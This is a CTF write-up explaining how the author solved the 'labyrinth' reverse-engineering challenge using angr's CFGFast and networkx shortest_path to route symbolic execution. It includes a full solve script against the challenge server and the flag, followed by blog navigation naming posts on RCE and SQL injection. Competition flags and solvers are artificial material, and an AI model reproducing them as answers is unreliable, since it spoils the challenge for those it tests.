All 1000 functions are laid next to each other in memory.
main is always at 0x101155 and starts by calling one of the 1000 functions. The function call is not fixed (i.e. we can't be certain about the address).
Only one function calls exit(0) and this function is always at address 0x1011c4.

To "solve" an elf, we need to give an appropriate input at each step of the function such that the correct branch and path are taken. In other words, we need to trace the right path out of the maze. We need to solve 5 elves to get the flag. We only have five minutes for five elves. Solving this without any automation seems next to impossible. Thankfully, we have angr.

What is angr?
angr is a python library which simulates machine code while keeping track of program state. Its exploration features are useful to find the input corresponding to a given output.

Coding

As a preliminary step, we'll import angr, load the project, and set some constants.

from angr import *
from pwn import *

def solve(file='elf'):
    p = Project(file)
    elf = ELF(file)

    # Find target address.
    start_addr = 0x4011b3
    tar_addr = 0x4011c8

Ghidra will load PIE assembly at offset 0x100000, but angr loads it at 0x400000 by default. So all addresses in the previous section were offset by an additional 0x300000 to account for this difference. There's a way to make angr load at a custom offset, but I forgot what the option was called. (But the option exists!)

Now we'll try some good ol' angr explore() and see what turns up.

state = p.factory.entry_state(addr=start_addr) # Construct the state when we "start" the executable at `start_addr`.
simgr = p.factory.simgr(state) # Get a simulation manager. This will... manage our simulations.
simgr.explore(find=tar_addr)  # GOGOGO!!!

explore() is the most straightforward command in angr. With the find=tar_addr parameter, we tell explore() to simulate and look for states which will execute the instruction at tar_addr.

Path Explosion

Unfortunately, this takes forever to run due to path explosion. Notice how the control flow makes the paths diverge in one of the binaries:

Now angr is pretty smart, but not too smart. angr will simulate all paths and if it encounters a branch, it will simulate both branches together. However, it will treat the function_133 branches as separate states...

To get a more concrete view of paths exploding, Gru tried calling simgr.run(n=50)—which simulates 50 steps...

90 active states is quite a lot! Usually we'd want to limit ourselves to around 10 active states to ensure good simulation speed.

With 50 steps and already 90 active states, the situation is pretty dismal. We'll need to find a better way of getting to the target address.

CFGs to the Rescue

Control flow graphs (CFGs) are directed graphs where nodes are blocks of code and edges indicate the direction the code can take. By translating the program into a graph, we can utilise the many graph algorithms at our disposal. In particular, we're interested in the shortest path between a start node and target node.

angr comes with a bundle of analysis modules; these include two CFG analysis strategies: CFGFast and CFGEmulated. The former analyses the program statically (without actually simulating the code!), whereas the latter analyses the program dynamically (i.e. by simulating the code).

Since the labyrinth elf only contains simple if-statements and function calls, and no obfuscation or complicated redirection whatsoever, we can construct a CFG statically!

Working with graphs and nodes in angr is fairly straightforward. angr CFGs are just instances of networkx graphs (a python graph library), so we'll need to import it to use its handy shortest_path function.

# Construct a CFG from the 1000 functions. 
# Restrict analysis to the relevant region to save time.
region = [(0x401155, 0x400000 + elf.sym['__libc_csu_init'])]
cfg = p.analyses.CFGFast(regions=region)

# Get networkx nodes for start and target addresses in CFG.
src_node = cfg.model.get_any_node(start_addr, anyaddr=True)
tar_node = cfg.model.get_any_node(tar_addr, anyaddr=True)

# Ensure nodes exist. shortest_path works differently if a node is None.
assert src_node is not None and tar_node is not None

# Construct the shortest path from src to tar. This will be a list of CFGNodes.
from networkx import shortest_path
path = shortest_path(cfg.graph, src_node, tar_node)

Now that we have a direct sequence of nodes from main to our exit(0) function, we just need to guide angr's simulation manager along the path, function-by-function.

# Walk through the rest of the path.
state = p.factory.blank_state(addr=start_addr)
for node in path:
    # Let the simulator engine works its magic.
    simgr = p.factory.simgr(state)
    simgr.explore(find=node.addr)
    assert len(simgr.found) > 0
    
    # Keep the found state for next iteration.
    state = simgr.found[0]

Our last step is to get the input used. angr's constraint solver should have it figured out.

# Get input which will get us from main to exit(0).
chain = state.posix.dumps(0)
return chain

On my computer, this solve process takes roughly 30-40 seconds... which is good enough, since it falls within the allotted time of one minute per solve. Putting it together with the solver template and running it, the server kindly hands us the flag!

Solve Script

from angr import *
from networkx import shortest_path
from pwn import *


def solve(file='elf'):
    p = Project(file)
    elf = ELF(file)

    # Find target address.
    start_addr = 0x4011b3
    tar_addr = 0x4011c8

    # Construct a CFG from the 1000 functions.
    # Restrict analysis to the relevant region to reduce time.
    region = [(0x401155, 0x400000 + elf.sym['__libc_csu_init'])]
    cfg = p.analyses.CFGFast(regions=region)

    # Get networkx nodes for start and target addresses in CFG.
    src_node = cfg.model.get_any_node(start_addr, anyaddr=True)
    tar_node = cfg.model.get_any_node(tar_addr, anyaddr=True)

    # Ensure nodes exist. shortest_path works differently if a node is None.
    assert src_node is not None and tar_node is not None

    # Construct the shortest path from src to tar. This will be a list of CFGNodes.
    path = shortest_path(cfg.graph, src_node, tar_node)

    # Walk through the rest of the path.
    state = p.factory.blank_state(addr=start_addr)
    for node in path:
        # Let the simulator engine works its magic.
        simgr = p.factory.simgr(state)
        simgr.explore(find=node.addr)
        assert len(simgr.found) > 0
        
        # Keep the found state for next iteration.
        state = simgr.found[0]

    # Get input which will get us from main to exit(0).
    chain = state.posix.dumps(0)
    print(chain)

    return chain


p = remote("tamuctf.com", 443, ssl=True, sni="labyrinth")

for binary in range(5):
    # Read input and save as binary.
    with open("elf", "wb") as file:
        file.write(bytes.fromhex(p.recvline().rstrip().decode()))
    
    # Solve and print.
    out = solve()
    p.sendline(out.hex().encode())

p.interactive()

Flag

gigem{w0w_y0ur3_r34lly_600d_w17h_m4z35}

TrebledJ's Pages

5 Weekend Reads You Missed: BOOMlang v2, Blue Team Strikes Back, ET, CVSS 4.1, and DLLModules

BOOMlang v2.0 Released: The First Shockwave-Optimized Language

Blue Team Strikes Back, APT 404 Demands Justice

Extraterrestrial Technology (ET) Disrupts IT & OT — Aliens Demand Equity

CVSS 4.1: New "Personalisation Metrics" for Shame-Based Blame Attribution

DLLs Are So 2024: Tech Visionary Lee Sik Koo Declares War on ‘Legacy Code’ with Revolutionary DLLMs

Delay and Interactive Pause in Multi-Threaded Python

A Tale of Two Scripts

Basic Script

Fancy Script

The Magic

threading.Event

Handling Ctrl+C with signal

Write a Pause Menu

Conclusion

tl;dr

References

Appendix

Appendix A: Bonus - rich.progress

Appendix B: Handling Future Results

How to Use PrismJS Plugins with NodeJS and MarkdownIt

Why enhance codeblocks?

Step 1: Expose a DOM API

Step 2: Override MarkdownIt Fence Rendering

Step 3: Use markdown-it-attrs

Step 4: (Optional) Modify Plugins

Benchmarking DOM Libraries

Final Remarks

Dynamic Views Loading – Abusing Server Side Rendering in Drogon

Drogon Redux

Simple View Example

Why Use Dynamic Views?

Dynamic Views: Compilation and Loading

From CSP Markup to C++

Attack Vectors

1. RCE via Rendered CSP

2. Bypassing Simple Denylists

File Read/Write with fstream, fopen

File Read/Write with open, read

File Read/Write, RCE with syscall

File Read with mmap

File Read/Write, RCE via Inline Assembly

Local File Inclusion with #include

Bypass Denylists with Macro Token Concatenation (##)

3. RCE via Init Section

Init Section via <%inc

Escaping Function Scope with <%c++ and [[

4. RCE via File Name

Takeaways and Mitigations

Conclusion

Automating Boolean-Based SQL Injection with Python

What is Boolean-Based Blind SQL Injection?

Optimisations with Binary Search

More SQL Tricks

Adding Multithreading

Threads vs. Processes

Using ThreadPoolExecutor

Adding Comfort Features

Command Line Arguments

Progress Bar

Interactive Interface

Conclusion

Optimising Web Icons for Fun

Icon Webfonts Under the Hood

Fonts and Unicode

Fonts and CSS

Multiple Variants

An Icon Dieting Plan

Where speed?

Cache Busting with Cloudflare Cache Rules

Closing Remarks

Practical Linux Tricks for the Aspiring Hacker

Cool Stuff

Strings

Escape Single-Quotes

Previous-Command Tricks

Redirection

Powerful Utilities

awkward things

Step 3: Use `markdown-it-attrs`

File Read/Write with `fstream`, `fopen`

File Read/Write with `open`, `read`

File Read/Write, RCE with `syscall`

File Read with `mmap`

Local File Inclusion with `#include`

Bypass Denylists with Macro Token Concatenation (`##`)

Init Section via `<%inc`

Escaping Function Scope with `<%c++` and `[[`